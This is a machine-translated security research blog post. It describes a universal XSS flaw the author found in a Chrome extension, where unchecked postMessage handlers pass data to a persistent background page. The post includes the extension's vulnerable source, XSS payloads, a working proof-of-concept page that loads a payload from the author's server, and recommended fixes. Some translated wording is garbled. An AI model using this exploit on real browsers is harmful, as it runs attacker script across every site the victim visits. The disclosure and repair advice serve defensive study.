This original article will participate in the double fee activity. The estimated fee is 600 yuan. Please click here for the activity link
Introduction
I'd like to change the title to < chrome security research: a mining experience of uxss > to cheat a wave of clicks. But after all, it's actually the problem of expansion. Let's be honest and write "expansion".
This is a vulnerability I dug before the Spring Festival. I probably grabbed the Chrome extension of top400. I wrote a script to delete and select some of the issues I care about, and then audit one by one. This vulnerability is one of the uxss vulnerabilities dug when you want to generate uxss. I think it's more typical. It involves content_scripts, background scripts and other features of Chrome extension. It's relatively interesting and has a little more pits.
Since the details of the plug-in cannot be disclosed, I will extract the source code related to the plug-in and vulnerability, remove some keywords with company name, and put them on GitHub:
https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss
Git clone to local, open chrome: / / extensions /, open "developer mode", click "load the extracted extension program..." Button, select the content > scripts > uxss folder.
git clone
manifest.json
Manifest.json is the manifest file of Chrome extension. When chrome parses the extension, it will check whether the content of the file conforms to the specification. Generally speaking, audit starts from here:
{
"name": "content_script_uxss_example",
"description": "一个由原型修改而来会产生UXSS的Chrome插件",
"version": "1.0",
"manifest_version": 2,
"background": {
"scripts": [
"/core/js/jquery.min.js",
"/core/js/background.js"
]
},
"author": "[email protected]",
"content_scripts": [
{
"matches": [
"http://*/*",
"https://*/*",
"file:///*/*"
],
"exclude_matches": [],
"js": [
"/core/js/jquery.min.js",
"/core/js/content_script.js"
],
"run_at": "document_end",
"all_frames": true
}
]
}
The focus is on background and content ENU scripts:
- Background can set a page that always exists in the background when an extension is created. Only when the extension is closed can the event bound to this page be invalidated. Only when the extension or browser is restarted can the defined global variables be redefined (Command + Q on MAC). If the page attribute is set, such as "background": {"page": "background. HTML"}, This file is the background page of the extension. You can visit Chrome extension: / / {extension ID} / background.html for debugging. In this case, if only the scripts attribute is set, chrome will generate the page itself. The address is in Chrome extension: / {extension ID} / \\\\\\\\\\\\\\\\\\\\.
command + Q
page
"background":{"page": "background.html"}
chrome-extension://{扩展ID}/background.html
chrome-extension://{扩展ID}/_generated_background_page.html
- Multiple content scripts can be set. Each time a URL is accessed that meets the matching conditions of matches and does not meet the exclusion conditions written in exclude matches, the script set in "JS" will be run. Matches can match all URLs using < all \ URLs > Run at sets the run time of content scripts. When all frames is true, content scripts will also be triggered for pages inside iframe.
<all_urls>
Background and content_scripts and the original web pages we run are not in the same runtime context. The variables defined in them are not accessible to each other, and the APIs that each runtime can access are different. However, you can use window.addeventlistener to add events to the window of the original page. You can operate the DOM structure through events. The interaction between background and content scripts is often performed by using chrome.extension.onrequest.addlistener or chrome.runtime.onmessage.addlistener.
window.addEventListener
chrome.extension.onRequest.addListener
chrome.runtime.onMessage.addListener
content_scripts
At first, I noticed that the code in line 68 of / core / JS / content_script.js:
if (location.href.indexOf("?") > 0) {
var a = location.href.split("?")[1].split("&");
$(a).each(function() {
var b = this.split("=");
query[b[0]] = b[1]
})
}
Generally, the jQuery version used by plug-ins is not updated frequently. The version of jQuery used by the plug-in is v1.7.1, which has the following vulnerabilities:
The value of a parameter is obviously to get the get request parameter of the current URL. If it uses location.search directly, then the URL code will be used in chrome, which is difficult to use. But this writing method here can use hash to bypass. Setting a parameter such as "< img SRC = @ oneror = prompt()" > can make a = ["< img SRC = @ oneror = prompt()"], For example, HTTPS: / / www.baidu. COM / × < img SRC = @ onerror = prompt() >.
location.search
#?<img [email protected] onerror=prompt()>
a=["<img [email protected] onerror=prompt()>"]
https://www.baidu.com/#?<img [email protected] onerror=prompt()>
However, when the selector passed in by jQuery is an array, the function does not trigger the vulnerability, such as $(['< img SRC = 1 onerror = prompt() >']). And then I found a more interesting PostMessage interface, so I turned my attention to the following code.
$(['<img src=1 onerror=prompt()>'])
Message event
It is not uncommon to use message events in the extension. In the extension of top400 I crawled, nearly 200 plug-ins added message listening events to the window in content script. In this example, content script.js × L3:
window.addEventListener("message", function(a) {
if (a.data != undefined) {
plugdata = a.data;
if (plugdata.Action != undefined)
if (plugdata.Action == "GETCOOKIE") chrome.extension.sendRequest(plugdata, function() {});
else if (plugdata.Action != "VERSION") {
if (plugdata.background == undefined || plugdata.background == false) $("#divDetail").html("<br/><center>notifications with some message.</center>");
chrome.extension.sendRequest(plugdata, function() {})
}
}
});
Here a.data is the value passed in by the first parameter of PostMessage. For example, we use WW = window.open ('https://www.google.com/ '); ww.postmessage ("AAAAA", "*"); to send a message, then this a.data is equal to "AAAAA".
ww = window.open('https://www.google.com/');ww.postMessage("aaaaa", "*");
It can be found that after judging the data.action, this code sends out the data value with chrome.extension.sendrequest. This is also the logic that often appears in browser plug-ins, because normal HTML pages cannot access the chrome.extension API. If you need to send information to the callback function of chrome.extension.onrequest.addlistener or chrome.runtime.onmessage.addlistener, it is also a common method to make a transfer in content_script.
chrome.extension.onRequest.addListener
chrome.runtime.onMessage.addListener
Note that content script has a domxss output function HTML:
html
chrome.extension.onRequest.addListener(function(a, b, c) {
switch (a.Action) {
case "FAREResult":
case "ONRESULT":
typeof a.Data.Data === "string" ? $("#IRData").val(a.Data.Data) : $("#IRData").val(JSON.stringify(a.Data.Data));
$("#Message").html(a.Data.Message);
$("#Command").html(a.Data.Action);
break;
}
});
But here we need to include some conditions in the DOM structure of the original page, which must have HTML elements with two IDs of ා message and ා command, which is obviously not what we want. If the page meets this condition, we can directly use WW = window. Open ('https://www.google.com/ '); ww. PostMessage ({"action": "onresult", "message": "< img SRC = 1 onerror = prompt()"}, "*"); to cause XSS attacks across the Google domain.
ww = window.open('https://www.google.com/');ww.postMessage({"Action":"ONRESULT", "Message":"<img src=1 onerror=prompt()>"}, "*");
The performaction function has one such output, $("body"). HTML (b), which is obviously very general.
$("body").html(b)
function PerformAction() {
if (plugdata != null) {
var a = plugdata.Action;
switch (plugdata.Method) {
case "POST":
$.post(plugdata.URL, plugdata.post, function(b) {
if (plugdata.SetBodyText == true) try {
$("body").html(b)
} catch (c) {}
But the original definition of plugdata is null, how to make it not null entry condition?
$(document).ready(function() {
...
$("#Version").html("5.10");
chrome.extension.sendRequest({
Action: "ONLOAD"
}, function(b) {
plugdata = b;
PerformAction()
});
});
It can be found that there is an assignment before the performaction call. You can use {action: "onload"} to assign it, and the response to {action: "onload"} is in background.js:
var RequestQ = [],
plugdata = null,
IRTab = null,
IRData = null,
requestFilter = {
urls: ["<all_urls>"]
};
chrome.extension.onRequest.addListener(function(a, b, c) {
$.extend(a, {
TabID: b.tab.id
});
plugdata = a;
switch (a.Action) {
case "VERSION":
break;
case "ONLOAD":
c(IRData);
break;
case "GETFARE":
IRData = a;
$.extend(a, {
RequesterTabID: b.tab.id
});
chrome.tabs.getAllInWindow(null, OngetAllInWindow);
c({});
break;
......
Here, if you don't know the characteristics of background_page before, you are in despair, because the value assigned to plugdata comes from the callback function C of chrome.extension.onrequest.addlistener, and the parameter of C is irdata is also null, that is to say, plugdata = irdata = null normally. Although I can send {"action": "getface"} to set the value of irdata, it would be awkward if the background page and content script are executed every time I refresh the page. Because performaction is executed in $(document). Ready (, I have to ask the page to execute $(document). Ready after a period of time (so that I can post a {"action": "getface"} before performaction, which is not necessary here. (of course, this kind of conditional competition can also be achieved. Let $(document). Ready (there are many methods waiting for a period of time. A script tag with a slower SRC address return is a method).
plugdata = IRData = null
$(document).ready(
$(document).ready(
$(document).ready(
background page
After thinking about the design requirements of the background page, I don't think it should be executed every time I visit the page like content_script. After reading some official documents and writing several demos, the following two points are determined:
- Background is not executed every time you visit the page, and internally defined variables will not be redefined due to page refresh.
- Background even if the domain changes, it will not be redefined and assigned. All domains use a runtime.
The first point makes this vulnerability easier to exploit. The second point makes the payload we wrote not only affect the websites used in the payload, but also trigger the payload in different domains every time we visit a new page before the browser and plug-in restart.
utilize
After the idea is clear, we just need to post a {action: "getface", data: {/ / payloadsee the following source}}, set irdata as payload in the data attribute, and refresh the page to execute performaction function again. Performaction will send a post request to plugdata.url, and pass the return to B parameter of $("body"). HTML (b). (reset the SRC of iframe to refresh the page)
{Action: "GETFARE",Data: {//payload看下面源码}}
$("body").html(b)
PS. due to master P's note artifact recently, the certificate can't be used. I can only use the certificate I don't have. Baidu belongs to HTTPS. To send Ajax request, the object must also be HTTPS. Access control allow origin and access control allow methods need to be set. Before visiting POC, please visit https://case.neargle.com to authenticate the broken certificate.
If the plug-in has been enabled, open the following link, and cross domain to www.baidu.com to execute XSS. And then visit any website payload will be executed.
poc: https://blog.neargle.com/hacking-extensions/content_scripts_uxss/poc.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>content script uxss poc</title>
</head>
<body>
<h1>hacking-extensions</h1>
<p>source code: <a href="https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss">https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss</a></p>
<!-- poc content -->
<iframe src="https://www.baidu.com" style="display: none;"></iframe>
<script>
subframe = frames[0];
data = {
Action: "GETFARE",
Data: {}
}
data.Method = "POST";
data.URL = "https://case.neargle.com/payload/uxss_payload.php";
data.SetBodyText = true;
data.post = {};
setTimeout('subframe.postMessage(data, "*")', 2000);
setTimeout(function(){
document.querySelector('iframe').src = "https://www.baidu.com";
}, 3000);
</script>
</body>
</html>
Video demo
Your browser does not support Video Tags
First, visit https://blog.neargle.com/hacking-extensions/content'scripts'uxss/poc.html to trigger the vulnerability, and then visit https://www.baidu.com/ and https://www.google.com/ to prove the second conclusion.
repair
There are many repair methods. The most common one is to limit the source of PostMessage to the current window, such as EVT. Source = = = window. This is the method adopted by most plug-ins, such as the code of react developer tools:
evt.source === window
function handleMessageFromPage(evt) {
evt.source === window && evt.data && "react-devtools-bridge" === evt.data.source && port.postMessage(evt.data.payload);
}
Of course, this defense mode may also be bypassed and affected by uxss, not mentioned here for the moment.
In fact, the function of this plug-in is only available to some websites, limiting event.origin and only providing the demand to some websites. For example: event. Origin = = = "https://baidu.com".
event.origin === "https://baidu.com"。
Plug in crawler and others
The selected plug-ins are about 500000 + users (the data is updated to before the Spring Festival of 2018). The number of domestic users is small, so you don't need to worry about the impact.
The crawler used is a part of the project modification left over from the previous research with mushroom students < chrome plug-in probe]. Please refer to the paper: https://mp.weixin.qq.com/s/hhpxgtk55oew0pj4trg6fa and https://github.com/neargle/chromeextensionknower projects at that time.
Reference resources
- https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
- https://developer.chrome.com/apps/getstarted
- https://domstorm.skepticfx.com/modules/?id=5739f797c9e0250300990938
- https://github.com/neargle/tips-note/tree/master/postMessage_and_addEventListener_message